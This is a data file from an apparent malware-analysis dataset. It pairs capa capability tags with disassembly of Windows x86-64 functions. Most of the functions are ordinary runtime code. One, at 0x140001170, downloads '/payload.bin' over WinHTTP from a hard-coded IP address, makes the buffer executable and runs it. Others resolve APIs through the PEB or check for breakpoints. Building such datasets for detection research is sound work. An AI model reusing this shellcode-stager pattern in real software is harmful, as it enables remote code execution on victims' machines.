joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14009ae00
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1401b8c00]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x14009ae95
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x14009aef6
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.140075720
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400ae9b0
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x14009afb1
sub ecx, 1
je 0x14009b024
sub ecx, 1
je 0x14009af60
cmp ecx, 1
je 0x14009af43
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400b8f48]
call fcn.140075720
jmp 0x14009b024
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.14009ab30
test eax, eax
je 0x14009b024
jmp 0x14009aeca
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x14009b024
sub rax, rsi
cmp rax, rbp
jae 0x14009b024
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.1400758a0
jmp 0x14009b024
cmp r8d, 4
jle 0x14009b024
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x14009b024
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.140075640
mov esi, eax
test eax, eax
je 0x14009b003
mov edx, 5
mov rcx, rbx
call fcn.14009baf0
mov eax, esi
jmp 0x14009aeca
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.140083f20
mov rcx, r14
call fcn.140084200
test eax, eax
je 0x14009aec8
mov edx, 5
mov rcx, rbx
call fcn.14009baf0
mov eax, Ordinal_46
jmp 0x14009aeca
Function at 0x1400addc0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400ade02
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400ade49
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400adea2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400ade60
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400adee3
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400cec92]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400cec93]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400adeb0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400aeee8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400aef32
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400aef32
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400aef32
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400aef32
cmp dword [rcx + 0x84], 0xe
jbe 0x1400aef32
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400aef34
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Prepare http request

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
movzx r8d, word [rcx + 0x28]
mov rdx, qword [rcx + 0x18]
mov rbx, rcx
mov rcx, qword [rcx]
xor r9d, r9d
xor edi, edi
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbx + 0x10], rax
test rax, rax
je 0x140001084
mov r8, qword [rbx + 0x20]
mov dword [rsp + 0x30], edi
lea rdx, [0x1400095a8]
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rbx + 8], rax
test rax, rax
je 0x140001084
mov qword [rsp + 0x30], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov eax, edi
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x1400010a0
Capabilities:
Receive http response

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push r12
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 8]
xor r12d, r12d
xor edx, edx
mov ebx, r12d
mov esi, r12d
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x140001150
mov qword [rsp + 0x50], rdi
mov rcx, qword [rbp + 8]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], r12d
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x140001144
test rbx, rbx
jne 0x1400010ff
mov edx, dword [rsp + 0x40]
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
mov edi, dword [rsp + 0x40]
mov rcx, rbx
add edi, esi
call qword [sym.imp.KERNEL32.dll_LocalSize]
cmp rax, rdi
jae 0x140001127
mov r8d, 0x42
mov edx, edi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbx, rax
mov r8d, dword [rsp + 0x40]
mov rcx, qword [rbp + 8]
mov edx, esi
lea r9, [rsp + 0x48]
add rdx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
add esi, dword [rsp + 0x48]
cmp dword [rsp + 0x40], r12d
ja 0x1400010d2
mov rdi, qword [rsp + 0x50]
mov rax, rbx
mov rbx, qword [rsp + 0x58]
add rsp, 0x20
pop r12
pop rsi
pop rbp
ret
Function at 0x140001170
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Initialize winhttp library

Disassembly:
push rbx
sub rsp, 0x30
mov ecx, 0x30
call fcn.140001358
mov rbx, rax
test rax, rax
je 0x1400011d2
lea rax, str.202.95.14.223
lea rcx, str.WinHTTP_Example_1.0
xor r9d, r9d
mov qword [rbx + 0x18], rax
mov eax, 0x118
xor r8d, r8d
mov word [rbx + 0x28], ax
lea rax, str._payload.bin
xor edx, edx
mov qword [rbx + 0x20], rax
xor eax, eax
mov qword [rbx], rax
mov qword [rbx + 8], rax
mov qword [rbx + 0x10], rax
mov dword [rsp + 0x20], eax
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbx], rax
jmp 0x1400011d5
mov rbx, rax
mov rcx, rbx
call fcn.140001000
test eax, eax
jne 0x140001202
lea r8, [0x1400095f0]
lea rdx, [0x140009600]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
add rsp, 0x30
pop rbx
ret
mov rcx, rbx
mov qword [rsp + 0x48], rdi
call fcn.1400010a0
mov rdi, rax
test rax, rax
jne 0x14000123d
lea r8, [0x1400095f0]
lea rdx, [0x140009610]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdi, qword [rsp + 0x48]
xor eax, eax
add rsp, 0x30
pop rbx
ret
test rbx, rbx
je 0x140001276
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140001251
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140001260
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000126e
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbx
call fcn.1400012e0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalSize]
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov edx, eax
mov rcx, rdi
mov dword [rsp + 0x40], eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rdi
mov rdi, qword [rsp + 0x48]
xor eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x14000162f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000b050]
jne 0x1400012da
rol rcx, 0x10
test cx, 0xffff
jne 0x1400012d6
repz ret
ror rcx, 0x10
jmp 0x140001588
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14000c020]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14000c118]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000160d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14000c020]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000162f
mov rax, qword [rsp + 0x88]
mov qword [0x14000c118], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14000c0b8], rax
mov rax, qword [0x14000c118]
mov qword [0x14000bf90], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14000c0a0], rax
mov dword [0x14000bf80], 0xc0000409
mov dword [0x14000bf84], 1
mov rax, qword [0x14000b050]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000b058]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14000c018], eax
mov ecx, 1
call fcn.1400032f4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400072f8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14000c018], 0
jne 0x1400016b6
mov ecx, 1
call fcn.1400032f4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140001f6c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140001ddc
Function at 0x140004378
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14000b050]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140002e9c
xor ebx, ebx
cmp qword [0x14000cf28], rbx
mov rdi, rax
jne 0x14000448b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140004562
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140004562
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14000cf28], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14000cf30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14000cf38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14000cf48], rax
test rax, rax
je 0x140004482
lea rdx, [0x140007f80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14000cf40], rax
jmp 0x140004492
mov rax, qword [0x14000cf40]
jmp 0x140004499
mov rax, qword [0x14000cf40]
mov r11, qword [0x14000cf48]
cmp rax, rdi
je 0x140004500
cmp r11, rdi
je 0x140004500
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14000cf48]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140004500
test rax, rax
je 0x140004500
call rsi
test rax, rax
je 0x1400044fa
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400044fa
test byte [rsp + 0x40], 1
jne 0x140004500
bts ebp, 0x15
jmp 0x140004540
mov rcx, qword [0x14000cf30]
cmp rcx, rdi
je 0x140004540
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140004540
call rax
mov rbx, rax
test rax, rax
je 0x140004540
mov rcx, qword [0x14000cf38]
cmp rcx, rdi
je 0x140004540
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140004540
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14000cf28]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140004562
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140004564
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400012c0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140002f5c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002fa6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002fa6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002fa6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002fa6
cmp dword [rcx + 0x84], 0xe
jbe 0x140002fa6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002fa8
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdi, qword [rax + 0x20]
movsxd rax, dword [rdi + 0x3c]
mov r9d, dword [rax + rdi + 0x88]
add r9, rdi
mov eax, dword [r9 + 0x20]
mov r8d, dword [r9 + 0x18]
add rax, rdi
test r8d, r8d
je 0x140001063
movabs r10, 0x41636f7250746547
mov ecx, dword [rax]
cmp qword [rcx + rdi], r10
je 0x140001063
inc edx
add rax, 4
cmp edx, r8d
jb 0x140001050
mov eax, dword [r9 + 0x24]
mov ecx, dword [r9 + 0x1c]
add rax, rdi
add rcx, rdi
movsx rdx, word [rax + rdx*2]
movsxd rbx, dword [rcx + rdx*4]
lea rdx, [0x1400010f0]
add rbx, rdi
mov rcx, rdi
call rbx
lea rcx, [0x1400010d0]
call rax
lea rdx, str.MessageBoxA
mov rcx, rax
call rbx
xor r9d, r9d
lea r8, [0x140001100]
lea rdx, [0x140001100]
xor ecx, ecx
call rax
lea rdx, [0x1400010e0]
mov rcx, rdi
call rbx
xor ecx, ecx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp rax

Function at 0x140001b6c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001bb6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001bb6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001bb6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001bb6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001bb6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001bb8
xor al, al
add rsp, 0x28
ret

Function at 0x1400061f0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005fec
Function at 0x1400092a4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400092d4
xor eax, eax
jmp 0x140009397
mov rbp, rbx
cmp word [rax], si
je 0x1400092f9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400092e0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400092dc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400091c4
movsxd r14, eax
test eax, eax
jne 0x140009337
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400092cd
mov rcx, r14
call fcn.140009d38
mov rdi, rax
test rax, rax
jne 0x140009350
xor ecx, ecx
call fcn.1400077fc
jmp 0x14000932c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400091c4
test eax, eax
jne 0x140009381
mov rcx, rdi
call fcn.1400077fc
jmp 0x14000938b
xor ecx, ecx
call fcn.1400077fc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000eb00
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000eb28
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000eb28
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x100010120
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [0x100294690], ecx
xor eax, eax
add eax, 1
lea rdx, [0x100294690]
movsxd rcx, eax
mov r8d, dword [rdx + rcx*4 - 4]
mov ecx, r8d
shr ecx, 0x1e
xor ecx, r8d
imul ecx, ecx, 0x6c078965
mov r8d, eax
add r8d, ecx
mov ecx, eax
mov dword [rdx + rcx*4], r8d
cmp eax, 0x26f
jl 0x100010128
mov dword [0x1001a5250], 0x270
ret

Function at 0x100010170
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, 0xffffffff
nop dword [rax]
add eax, 1
movsxd rdx, eax
lea rcx, [0x100294690]
mov ecx, dword [rcx + rdx*4 + 4]
mov edx, eax
lea r8, [0x100294690]
mov r8d, dword [r8 + rdx*4]
mov edx, ecx
and edx, 1
neg rdx
and edx, 0x9908b0df
and r8d, 0x80000000
and ecx, 0x7fffffff
or r8d, ecx
shr r8d, 1
xor edx, r8d
movsxd rcx, eax
lea r8, [0x100294690]
xor edx, dword [r8 + rcx*4 + 0x634]
mov ecx, eax
lea r8, [0x100294690]
mov dword [r8 + rcx*4], edx
cmp eax, 0xe2
jl 0x100010178
mov eax, 0xe2
nop dword [rax]
add eax, 1
movsxd rdx, eax
lea rcx, [0x100294690]
mov ecx, dword [rcx + rdx*4 + 4]
mov edx, eax
lea r8, [0x100294690]
mov r8d, dword [r8 + rdx*4]
mov edx, ecx
and edx, 1
neg rdx
and edx, 0x9908b0df
and r8d, 0x80000000
and ecx, 0x7fffffff
or r8d, ecx
shr r8d, 1
xor edx, r8d
movsxd rcx, eax
lea r8, [0x100294690]
xor edx, dword [r8 + rcx*4 - 0x38c]
mov ecx, eax
lea r8, [0x100294690]
mov dword [r8 + rcx*4], edx
cmp eax, 0x26e
jl 0x1000101e8
mov edx, dword [0x100294690]
mov ecx, dword [0x10029504c]
mov eax, edx
and eax, 1
neg rax
and eax, 0x9908b0df
and ecx, 0x80000000
and edx, 0x7fffffff
or ecx, edx
shr ecx, 1
xor eax, ecx
xor eax, dword [0x100294cc0]
mov dword [0x10029504c], eax
mov dword [0x1001a5250], 0
ret

Function at 0x1000102a0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push rbx
lea rsp, [rsp - 0x20]
mov ebx, dword [0x1001a5250]
add dword [0x1001a5250], 1
mov eax, dword [0x100293020]
cmp eax, dword [0x1001a49f0]
jne 0x1000102c9
cmp ebx, 0x271
jb 0x1000102ec
mov ecx, dword [0x100293020]
call fcn.100010120
not dword [0x100293020]
mov eax, dword [0x100293020]
mov dword [0x1001a49f0], eax
mov ebx, 0x270
nop
cmp ebx, 0x270
jne 0x100010308
call fcn.100010170
xor ebx, ebx
mov dword [0x1001a5250], 1
nop dword [rax]
and ebx, ebx
lea rax, [0x100294690]
mov edx, dword [rax + rbx*4]
mov eax, edx
shr eax, 0xb
xor eax, edx
mov edx, eax
shl edx, 7
and edx, 0x9d2c5680
xor edx, eax
mov ecx, edx
shl ecx, 0xf
and ecx, 0xefc60000
xor ecx, edx
mov eax, ecx
shr eax, 0x12
xor eax, ecx
nop
lea rsp, [rsp + 0x20]
pop rbx
ret
Function at 0x100012460
Capabilities:
Check for software breakpoints

Disassembly:
push rbx
push rdi
push rsi
lea rsp, [rsp - 0x20]
mov ax, word [0x1001a4750]
cmp ax, 0xcb
je 0x10001259c
cmp ax, 0xcc
je 0x10001259c
nop
mov rax, qword [0x100295390]
test rax, rax
je 0x10001249d
mov ecx, dword [0x100295180]
call rax
mov rbx, rax
jmp 0x1000124a4
lea rbx, [0x100295188]
cmp word [0x100295170], 0
jle 0x1000124cc
lea rcx, [0x100295140]
call fcn.100012780
mov rcx, rbx
call fcn.100011f20
mov rcx, rbx
call fcn.100011fb0
nop
mov rsi, qword [rbx]
jmp 0x1000124f9
mov rdi, qword [rsi + 8]
mov rax, qword [rsi]
and rax, 1
jne 0x1000124f2
mov rdx, rsi
mov rcx, rbx
call fcn.1000111a0
jmp 0x1000124f6
and qword [rsi], 0xfffffffffffffffe
mov rsi, rdi
test rsi, rsi
jne 0x1000124d8
mov qword [rbx], 0
mov dword [rbx + 0x90], 0
cmp word [0x100295170], 0
jle 0x10001259c
lea rdx, [0x100295050]
mov rcx, rbx
call fcn.100011320
mov rsi, rax
test rax, rax
je 0x100012568
mov rax, qword [0x1002950f0]
mov qword [rsi + 0x18], rax
cmp qword [0x1002950f0], 0
je 0x100012558
mov rax, qword [0x1002950f0]
mov qword [rax + 0x10], rsi
nop dword [rax]
mov rax, qword [rbx + 0xa0]
mov qword [0x1002950f0], rax
nop
sub word [0x100295170], 1
cmp word [0x100295170], 0
sete bl
lea rcx, [0x100295140]
call fcn.1000127c0
test bl, bl
je 0x10001259c
lea rcx, [0x100295140]
call fcn.100012760
nop dword [rax]
nop
lea rsp, [rsp + 0x20]
pop rsi
pop rdi
pop rbx
ret
Function at 0x100014da0
Capabilities:
Get common file path

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x70]
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x30], r12
mov sil, cl
mov rdi, rdx
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
nop
test sil, sil
je 0x100014ede
movzx eax, sil
sub eax, 0xffffffc0
mov word [rbp - 8], ax
mov word [rbp - 6], 0x3a
mov word [rbp - 4], 0
mov word [rbp - 2], 0
lea rcx, [rbp - 8]
lea r9, [rbp - 0x10]
xor r8, r8
xor edx, edx
call sub.kernel32.dll_GetFullPathNameW
mov ebx, eax
mov edx, ebx
sub rdx, 1
mov rcx, rdi
call fcn.10000c300
mov r8, qword [rdi]
test r8, r8
jne 0x100014e2f
lea r8, [0x100294460]
lea rcx, [rbp - 8]
lea r9, [rbp - 0x10]
mov edx, ebx
call sub.kernel32.dll_GetFullPathNameW
mov r12d, eax
test eax, eax
jne 0x100014e9b
call sub.kernel32.dll_GetLastError
mov ecx, eax
call fcn.1000035d0
lea rcx, [rbp - 0x18]
call fcn.10000a950
and esi, 0xff
lea edx, [esi + 0x41]
sub edx, 1
and edx, 0xffff
lea rcx, [rbp - 0x20]
call fcn.10000afb0
mov rdx, qword [rbp - 0x20]
lea r8, [0x1001c35c4]
lea rcx, [rbp - 0x18]
call fcn.10000ad10
mov rdx, qword [rbp - 0x18]
mov rcx, rdi
call fcn.10000bab0
jmp 0x100014f30
mov eax, ebx
sub rax, 1
mov edx, r12d
cmp rax, rdx
je 0x100014eb4
mov edx, r12d
mov rcx, rdi
call fcn.10000c300
cmp byte [0x1001a49c0], 0
jne 0x100014f30
mov rdx, qword [rdi]
lea rcx, [rbp - 0x28]
call fcn.10000c970
mov rdx, qword [rbp - 0x28]
mov rcx, rdi
call fcn.10000bb70
nop dword [rax]
jmp 0x100014f30
xor edx, edx
xor ecx, ecx
call sub.kernel32.dll_GetCurrentDirectoryW
mov ebx, eax
mov edx, ebx
sub rdx, 1
mov rcx, rdi
call fcn.10000c300
mov rdx, qword [rdi]
test rdx, rdx
jne 0x100014f06
lea rdx, [0x100294460]
mov ecx, ebx
call sub.kernel32.dll_GetCurrentDirectoryW
cmp byte [0x1001a49c0], 0
jne 0x100014f30
